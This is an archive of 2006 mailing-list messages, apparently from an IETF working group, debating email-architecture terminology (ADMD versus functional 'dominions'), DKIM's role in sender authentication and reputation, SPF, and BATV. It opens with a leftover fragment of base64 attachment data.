QiAK0mk5DeE0Q35Tz7UeXLl0XlPPo4jf65ojF6KLkul2rT5cuV441n8sdi
vZDitr8i0H1UCehi3QG2tkhN/7a/I1RiiqlMjiAhBWH51Kdh75/1fl Qz7
7UPlxW1+PDEYan20rUP
ltUVR/ptLp8q6H9Zm7ouaEOP+ogTIi5
oRt36D0dV+g9MetjxzfQoviq
TN4QR4DcZDJTjKR9MKOqe
8SjKBszj3nHBQn4fI3lRo4R+adTUrT2Neq24Cpx5psEHrQDsNnmmwcT33CkaB9cUVMzzlG7MBPhg
GFz3nczzkyvM85AhzPORqhsiGIH0S4r+9LmOxn8yhB0gDaZ26xrstCANrhcgDaDV+LSP3sObOSfD
UsOzw5s6R8ObMIIXiEq1w5sxiRfd/CDZYlRtNiHS/SkVuL02r b3mKVHRruJN4YPi
hvLbNqg4V7YT
FfTSA7KXCohhMo08oyiNPKFpjcvHBI3LxOKNPKup9yE/DRjvy8XMDoE9zA6JpRjvyzLMDoIZzPnt
V8z57JJDKUQirGrJxn
gG81d4BvCrs9Vu93jxmgisB77heAb6EY9kjJlgwLJytEsx2mCMTGC0SzSB

YCjdeLS8Xbhg7VeGRA1lKX8i0T2r73rtt9s6dH/VtUN/Itxfhd8o/iAi6s1BX2LarrtfSLEojqJ6
cNWhenDZ47FsM8B6h7
Iteoe8iqtzo6OQXBzekFwW LpCrcnWQq3LYW2hvPJBcGcqQXB9QcFqEl0t
1
OGFLdTwgS4JXf0t1M/9a0VHZS4JXs0uCVWRDbgjwrM
I3MHhBtwKzVCx/eLbZDnhBvt54QbQKrC2F
UqsHTJKQ354JkCj28ETYW+SQKPumkN+dgJDfh0mQKPZBOLFo3AOe1GADntHxA57Q IgNpuieW4HvQ
1w3fJQNpourevSzLLmHkeDFwZhGrYfGluq2xY+WSmmrlkpmCLvb0akRUj5qrkqxp qxedeX97MFN/
ezKHf3sxDX97Ma2rt7BPW1tNfGB09/Bgg5znq2K/wWQMsp+k6kkepGafLqRAEH5fXMMgsNwdp7Dm
MFGejo73oLlRf6BU829fAl5FXxR/1w==

------=_NextPart_000_0000_DD6137EA.F0B97DB8--

To: [email-masked]
From: Frank Ellermann <[email-masked]>
Subject:  Re: Anything else on the content?
Date:  Mon, 06 Nov 2006 02:33:33 +0100
Organization:  <URL:http://purl.net/xyzzy>
Lines: 68
Sender: [email-masked]

Douglas Otis wrote:

>>>   MSD = Mail Signing Dominion (DKIM signing)

>> Less interesting, somewhere between MSA and "MTD"
 
> Not necessarily between the MSA and MTD.  A message
> can be signed at the MUA, MSA or anywhere down stream.

The signing details are too special for a "mail-arch"
draft, you'd get all the wonders of IMAP and SIEVE and
what else.

>>>   MFD = Mail Forwarding Dominion (Normal forwarding)

>> Covered by mediator, combo of "MRD" and "MTD".
 
> The concept is to clarify the types of modifications
> that occurs by these functions.

IMO that's explained in chapter 5.1 ff., it doesn't need
a new acronym.  

There are some serious issues in 5.3, IMO lists setting
their own Reply-To are broken, and "lists" not setting 
their own MAIL FROM belong to 5.1.

>>> MMD = Mail Modification Dominion (Specialized
>>> forwarding or mailing-lists)

>> Ditto, covered by mediator, the "5.3.6(b)" case.
 
> This would involve greater levels of change, whereas
> forwarding might have been better described as message
> retargeting.

This mine-field is still a mine-field if you'd add new
acronyms, so why bother ?  The text in 5.1 covers it:

| Hence that original recipient SHOULD become responsible for any
| handling issues.  This change would be reflected by replacing the
| message's RFC2821.MailFrom address to be one within the scope of
| the ADMD doing the aliasing.

That reflects what STD 10 says, the forwarder added its
name to the reverse path.

Maybe 5.2 and 5.3 should be swapped to get the two most
relevant cases next to each other, as they are in STD 3
(5.3.6a and 5.3.6b) or 2821 (3.10.1 and 3.10.2)

I miss the Resent-Message-ID in the Resent-chapter (5.2)
and in the Message-ID chapter (3.3).

>>> MXD = Mail Relay Dominion (Specialized outbound)

>> What's that ?
 
> An almost transparent imposed node that monitors the mail
> channel.  This node will break some authentication and
> transports.

Sorry, I still have no clue what you're talking about, who
"monitors the mail channel" ?  Is that something related
to A/V-software ?  OPES ?  Law enforcement ?  

Frank

Cc: [email-masked]
From: Douglas Otis <[email-masked]>
Subject: Re: Anything else on the content?
Date: Sun, 5 Nov 2006 14:09:56 -0800
To: Frank Ellermann <[email-masked]>
Sender: [email-masked]

On Nov 3, 2006, at 9:07 PM, Frank Ellermann wrote:

>
> Douglas Otis wrote:
>
>> Functional regions could then be identified as follows:
>
>>   MOD = Mail Originator Dominion (MUA-MSA)
>
> Relevant for the MON, invisible for the receiver (MON interna)
>
>>   MTD = Mail Transmitter Dominion (outbound)
>
> MON border, very important
>
>>   MRD = Mail Receiver Dominion (inbound)
>
> MRN border (MX), also very important
>
>>   MSD = Mail Signing Dominion (DKIM signing)
>
> Less interesting, somewhere between MSA and "MTD"

Not necessarily between the MSA and MTD.  A message can be signed at  
the MUA, MSA or anywhere down stream.

>
>>   MDD = Mail Delivery Dominion (MDA-MUA)
>
> Relevant for the MRN, invisible for the sender (MRN interna)
>
>>   MVD = Mail Validation Dominion (DKIM validation)
>
> Less interesting, somewhere between "MRD" and "MDD"

Don't forget about the role the MUA might play.  Location of this  
function is indeed independent of these other functions.

>>   MFD = Mail Forwarding Dominion (Normal forwarding)
>
> Covered by mediator, combo of "MRD" and "MTD".

The concept is to clarify the types of modifications that occurs by  
these functions.

>>   MMD = Mail Modification Dominion (Specialized forwarding or  
>> mailing-
>> lists)
>
> Ditto, covered by mediator, the "5.3.6(b)" case.

This would involve greater levels of change, whereas forwarding might  
have been better described as message retargeting.

>>   MXD = Mail Relay Dominion (Specialized outbound)
>
> What's that ?

An almost transparent imposed node that monitors the mail channel.   
This node will break some authentication and transports.

-Doug

To: [email-masked]
From: Frank Ellermann <[email-masked]>
Subject:  Re: Anything else on the content?
Date:  Sat, 04 Nov 2006 06:07:57 +0100
Organization:  <URL:http://purl.net/xyzzy>
Lines: 43
Sender: [email-masked]

Douglas Otis wrote:

> Functional regions could then be identified as follows:
 
>   MOD = Mail Originator Dominion (MUA-MSA)

Relevant for the MON, invisible for the receiver (MON interna)

>   MTD = Mail Transmitter Dominion (outbound)

MON border, very important

>   MRD = Mail Receiver Dominion (inbound)

MRN border (MX), also very important

>   MSD = Mail Signing Dominion (DKIM signing)

Less interesting, somewhere between MSA and "MTD"

>   MDD = Mail Delivery Dominion (MDA-MUA)

Relevant for the MRN, invisible for the sender (MRN interna)

>   MVD = Mail Validation Dominion (DKIM validation)

Less interesting, somewhere between "MRD" and "MDD"

>   MFD = Mail Forwarding Dominion (Normal forwarding)

Covered by mediator, combo of "MRD" and "MTD". 

>   MMD = Mail Modification Dominion (Specialized forwarding or mailing-
> lists)

Ditto, covered by mediator, the "5.3.6(b)" case.

>   MXD = Mail Relay Dominion (Specialized outbound)

What's that ?  

Frank

Cc: [email-masked]
From: Douglas Otis <[email-masked]>
Subject: Re: Anything else on the content?
Date: Fri, 3 Nov 2006 16:30:07 -0800
To: Dave Crocker <[email-masked]>
Sender: [email-masked]

On Nov 3, 2006, at 2:42 PM, Dave Crocker wrote:

> 4. From what I can tell, some folks seem only interested in the one- 
> hop model of the open-Internet.  While that is certainly a  
> simplifying approach that could be useful for some architectural  
> discussions -- it it pretty much describes the view of the Arpanet  
> and early Internet, 25 years ago  -- it simply does not capture  
> enough of the real world of email complexity today, in my view.

ADministrative Management Domain (ADMD) does not convey either the  
entities involved or their actions.  An entity might relay,  
originate, transmit, forward, modify, sign, validate, or deliver  
(fold, spindle, and mutilate).  It is not clear how ADMD relates to  
these functions or helps in clarifying possible functional  
boundaries.  Asking who in the abstract sense seems somehow pointless.

For example, rather than using Administrative-Management-Domain  
perhaps simpler terms based upon function could be used.  Functional  
regions could then be identified as follows:

  MOD = Mail Originator Dominion (MUA-MSA)
  MTD = Mail Transmitter Dominion (outbound)
  MRD = Mail Receiver Dominion (inbound)
  MSD = Mail Signing Dominion (DKIM signing)
  MDD = Mail Delivery Dominion (MDA-MUA)
  MVD = Mail Validation Dominion (DKIM validation)
  MFD = Mail Forwarding Dominion (Normal forwarding)
  MMD = Mail Modification Dominion (Specialized forwarding or mailing- 
lists)
  MXD = Mail Relay Dominion (Specialized outbound)

-Doug

Date: Fri, 03 Nov 2006 14:42:04 -0800
From: Dave Crocker <[email-masked]>
Organization: Brandenburg InternetWorking
To: [email-masked]
Subject: Re: Anything else on the content?
Sender: [email-masked]

> The mnemonic of MON (Mail Originating Network) or MRN (Mail Receiving 
> Network) used by Frank and Keith provide clarity regarding the role of 
> the entity.  

1. It's clear that we can play a name game over this particular choice forever. 
Please note that I've iterated through 3 or so versions.  The current proposed 
term is based on watching the language that I've been seeing in the wild and 
suggesting a term that matches that spirit.

2. As for MON/MRN, I'll note that they contain no obvious semantics that pertain 
to their primary purpose, namely reference to trust/administration boundaries. 
In addition, the word "network" is likely to get completely confused with it's 
lower-layer usage; and that reference is quite different from the trust 
boundaries of an ADMD. Elsewhat in the arch document, the originator/recipient 
refinement is annotated by prefacing the architectural reference with an "o" or 
"r".  That ought to suffice, here, too.

3. The document explains why the model needs to support more than 2 
administrative constructs.  For example, the presence of a trust boundary 
between a customer's MUA and their ISP's MSA/MTA environment is important. It is 
a distinction that affects a great deal of technical, administrative and 
operational work throughout the Internet.

4. From what I can tell, some folks seem only interested in the one-hop model of 
the open-Internet.  While that is certainly a simplifying approach that could be 
useful for some architectural discussions -- it it pretty much describes the 
view of the Arpanet and early Internet, 25 years ago  -- it simply does not 
capture enough of the real world of email complexity today, in my view.

To the extent that folks feel otherwise, it would help to see some explanation.

d/

-- 

   Dave Crocker
   Brandenburg InternetWorking
   bbiw.net

Date: Fri, 03 Nov 2006 14:21:26 -0800
From: Dave Crocker <[email-masked]>
Reply-To: [email-masked]
Organization: Brandenburg InternetWorking
To: John C Klensin <[email-masked]>
CC: [email-masked]
Subject: Re: DKIM's authentication "promises"
Sender: [email-masked]

John C Klensin wrote:
> Dave,
> 
> My assumptions were very much in synch with what you wrote
> below, but the qualification and explanation is much appreciated.

to which i will offer an UNqualified "whew!"...

d/
-- 

   Dave Crocker
   Brandenburg InternetWorking
   bbiw.net

Date: Fri, 03 Nov 2006 15:34:47 -0500
From: John C Klensin <[email-masked]>
To: [email-masked]
cc: [email-masked]
Subject: Re: DKIM's authentication "promises"
Sender: [email-masked]

Dave,

My assumptions were very much in synch with what you wrote
below, but the qualification and explanation is much appreciated.

   john

--On Friday, 03 November, 2006 12:11 -0800 Dave Crocker
<[email-masked]> wrote:

> 
> 
> John C Klensin wrote:
> 
>>    ...    a slippery slope relative to the
>> promises made to the IETF when the DKIM effort was chartered.
>> Those promises clearly stressed that DKIM was appropriate as a
>> reputation check by the delivery MTA or target user MUA, but
>> not as a means of authenticating senders and rejecting mail in
>> transit.  I think the above, in the context of the note that
>> apparently stimulated it, comes very close to assertion of
>> precisely that sender authentication and, potentially,
>> rejection role.
> 
> John,
> 
> I'm pretty sure your summary of how DKIM was characterized is
> accurate, but your phrasing leaves me with just enough doubt
> to believe a brief round of confirmation (or clarification) is
> need, no matter how much I might fear that it, too, involves a
> slippery slope.
> 
> As a small disclaimer, I'll note that what follows is intended
> to be responding only and exactly to your above text, and is
> not intended to be part the thread that you were participating
> in.  That's why I changed the Subject line.)
> 
> Anyhow...
> 
> DKIM associates a confirmable domain name with a message.  It
> does not specify who may affix the name or what the name must
> be.  Different participants in developing or using DKIM have
> different assumptions and/or expectations about who will do
> signing, but the specification details do not constrain the
> choice.
> 
> (Later work, on SSP, is adding capabilities that permit an
> authoring domain to publish some declarations about signing,
> but this is a separate mechanism from the base DKIM signing
> mechanism and is very much a fluid work-in-progress.)
> 
> The intended purpose of the confirmable domain name is to
> permit receivers of the message to make processing decisions,
> based on assessments of the name.  It is common to
> characterize such as assessments as being based on
> "reputation" and it often is an entirely acceptable
> characterization.  However the term reputation has a variety
> of definitions within the community and some are more
> constraining than would apply to DKIM.
> 
> Anyhow...
> 
> The DKIM signing name might be the same as used in an
> rfc2822.From field or an rfc2822.Sender field.  In that case,
> one might use language like "authenticating senders" but, of
> course, it has a rather constrained meaning.
> 
> The name might be associated with the operator of an MTA that
> processed (ie, relayed) the message.  Here, too, the term
> "authenticating senders" could be viewed as valid, but again,
> it has a constrained meaning.
> 
> One meaning of "authenticating senders" refers to the entire
> author or rfc2822.sender email address.  DKIM most certainly
> does not do that sort of authenticating.  One might envision
> designing and a multi-stage system, that includes DKIM, that
> might provide something akin to such full-address
> authentication, but that is far, far beyond the scope of the
> current work.  And I am pretty sure no one is talking about
> pursuing it (or at least not in the IETF.)
> 
> With luck, the above has not made things *less* clear.
> 
> d/

Date: Fri, 03 Nov 2006 12:11:50 -0800
From: Dave Crocker <[email-masked]>
Reply-To: [email-masked]
Organization: Brandenburg InternetWorking
To: John C Klensin <[email-masked]>
CC: [email-masked]
Subject: DKIM's authentication "promises"
Sender: [email-masked]

John C Klensin wrote:

>    ...    a slippery slope relative to the
> promises made to the IETF when the DKIM effort was chartered.
> Those promises clearly stressed that DKIM was appropriate as a
> reputation check by the delivery MTA or target user MUA, but not
> as a means of authenticating senders and rejecting mail in
> transit.  I think the above, in the context of the note that
> apparently stimulated it, comes very close to assertion of
> precisely that sender authentication and, potentially, rejection
> role.

John,

I'm pretty sure your summary of how DKIM was characterized is accurate, but your 
phrasing leaves me with just enough doubt to believe a brief round of 
confirmation (or clarification) is need, no matter how much I might fear that 
it, too, involves a slippery slope.

As a small disclaimer, I'll note that what follows is intended to be responding 
only and exactly to your above text, and is not intended to be part the thread 
that you were participating in.  That's why I changed the Subject line.)

Anyhow...

DKIM associates a confirmable domain name with a message.  It does not specify 
who may affix the name or what the name must be.  Different participants in 
developing or using DKIM have different assumptions and/or expectations about 
who will do signing, but the specification details do not constrain the choice.

(Later work, on SSP, is adding capabilities that permit an authoring domain to 
publish some declarations about signing, but this is a separate mechanism from 
the base DKIM signing mechanism and is very much a fluid work-in-progress.)

The intended purpose of the confirmable domain name is to permit receivers of 
the message to make processing decisions, based on assessments of the name.  It 
is common to characterize such as assessments as being based on "reputation" and 
it often is an entirely acceptable characterization.  However the term 
reputation has a variety of definitions within the community and some are more 
constraining than would apply to DKIM.

Anyhow...

The DKIM signing name might be the same as used in an rfc2822.From field or an 
rfc2822.Sender field.  In that case, one might use language like "authenticating 
senders" but, of course, it has a rather constrained meaning.

The name might be associated with the operator of an MTA that processed (ie, 
relayed) the message.  Here, too, the term "authenticating senders" could be 
viewed as valid, but again, it has a constrained meaning.

One meaning of "authenticating senders" refers to the entire author or 
rfc2822.sender email address.  DKIM most certainly does not do that sort of 
authenticating.  One might envision designing and a multi-stage system, that 
includes DKIM, that might provide something akin to such full-address 
authentication, but that is far, far beyond the scope of the current work.  And 
I am pretty sure no one is talking about pursuing it (or at least not in the IETF.)

With luck, the above has not made things *less* clear.

d/
-- 

   Dave Crocker
   Brandenburg InternetWorking
   bbiw.net

Cc: [email-masked]
From: Douglas Otis <[email-masked]>
Subject: Re: DKIM and authentication
Date: Wed, 1 Nov 2006 09:42:32 -0800
To: Frank Ellermann <[email-masked]>
Sender: [email-masked]

On Nov 1, 2006, at 12:21 AM, Frank Ellermann wrote:

>
> John C Klensin wrote:
>
>> While this is interesting as Dave points out it is probably not  
>> the right place to debate it.
>
> It's about "drop" vs. "reject".  When Doug talks about "message  
> annotation" I think it's in practice "drop" for anybody who hasn't  
> the time to check "annotated messages" manually.

One might view annotation as "placement into the spam folder".  While  
that is a common type of annotation, this is not the only handling  
method available.  There are companies providing positive annotations  
in conjunction with various MUAs and web-mail clients based upon  
address-books or trusted-domain lists.  Positive trusted annotations  
allows DKIM to offer formidable levels of protection against even  
look-alike attacks.

> And when he talks about "acceptance on a limited basis" I think  
> it's in practice "reject", at best TempFail.

DKIM might be used for white-listing.  Association with the SMTP  
Client protects signing-domains from being abused when used for white- 
listing.  When an association is not available, then the message is  
subjected to normal handling.  This handling might involve rate  
limiting which might involve use of 4xx responses.

>> Those promises clearly stressed that DKIM was appropriate as a  
>> reputation check by the delivery MTA or target user MUA, but not  
>> as a means of authenticating senders and rejecting mail in transit.
>
> | Taken together, these will assist receiving domains in detecting
> | (or ruling out) certain forms of spoofing as it pertains to the
> | signing domain.
>
> "Ruling out" can be "reject" or "drop", it's in the DKIM Charter.  
> The only reliable way of "ruling out" is "reject at the border MX".
>
> Anything "annotated" is a black hole, and any later rejects could  
> cause bounces to random addresses - unless it's limited to traffic  
> from 4409 6.1 MSAs and/or SPF PASS and/or old RFC 821 reverse path  
> routing buried under tons of SHOULD NOT and/or some crystal ball  
> I've not heard of.

Not everything "annotated" would be destine for a "black-hole".  Just  
the opposite could be true.

In addition, associating a signing-domain with MailFrom assures this  
address.  An association mechanism involves a single small DNS  
transaction.  Domain association is significantly safer than the many  
transactions needed to indirectly resolve every possible address that  
might handle the message.  With the SPF path registration scheme, the  
list of addresses may still be incomplete where expecting a PASS  
therefore lowers email integrity.  Perhaps that is why Bell Canada  
publishes '+all'.

-Doug

To: [email-masked]
From: Frank Ellermann <[email-masked]>
Subject:  Re: Anything else on the content?
Date:  Wed, 01 Nov 2006 09:36:20 +0100
Organization:  <URL:http://purl.net/xyzzy>
Lines: 14
Sender: [email-masked]

John Leslie wrote:

> For one example, a BATV signature of the 2821.MailFrom entirely
> passes the buck (of responsibility for validity) to the BATV signer.

BTW, could "you" (anybody interested in BATV) please check from time
to time that EAI with its UTF-8 local parts is still compatible with
BATV ?  So far I think anything is fine wrt SPF, but I'm not sure
wrt SRS, SES, and BATV, let alone DKIM.  Maybe the algorithm has to
be updated, supporting UTF-8 local parts as input on the BATV sender  
side, and as output on the BATV DSN receiver side.

Frank

To: [email-masked]
From: Frank Ellermann <[email-masked]>
Subject:  Re: DKIM and authentication
Date:  Wed, 01 Nov 2006 09:21:41 +0100
Organization:  <URL:http://purl.net/xyzzy>
Lines: 32
Sender: [email-masked]

John C Klensin wrote:
 
> While this is interesting as Dave points out it is probably not
> the right place to debate it.

It's about "drop" vs. "reject".  When Doug talks about "message
annotation" I think it's in practice "drop" for anybody who hasn't
the time to check "annotated messages" manually. 

And when he talks about "acceptance on a limited basis" I think
it's in practice "reject", at best TempFail.

> Those promises clearly stressed that DKIM was appropriate as a
> reputation check by the delivery MTA or target user MUA, but
> not as a means of authenticating senders and rejecting mail in
> transit.

| Taken together, these will assist receiving domains in detecting
| (or ruling out) certain forms of spoofing as it pertains to the
| signing domain.

"Ruling out" can be "reject" or "drop", it's in the DKIM Charter.
The only reliable way of "ruling out" is "reject at the border MX".

Anything "annotated" is a black hole, and any later rejects could
cause bounces to random addresses - unless it's limited to traffic
from 4409 6.1 MSAs and/or SPF PASS and/or old RFC 821 reverse path
routing buried under tons of SHOULD NOT and/or some crystal ball
I've not heard of.

Frank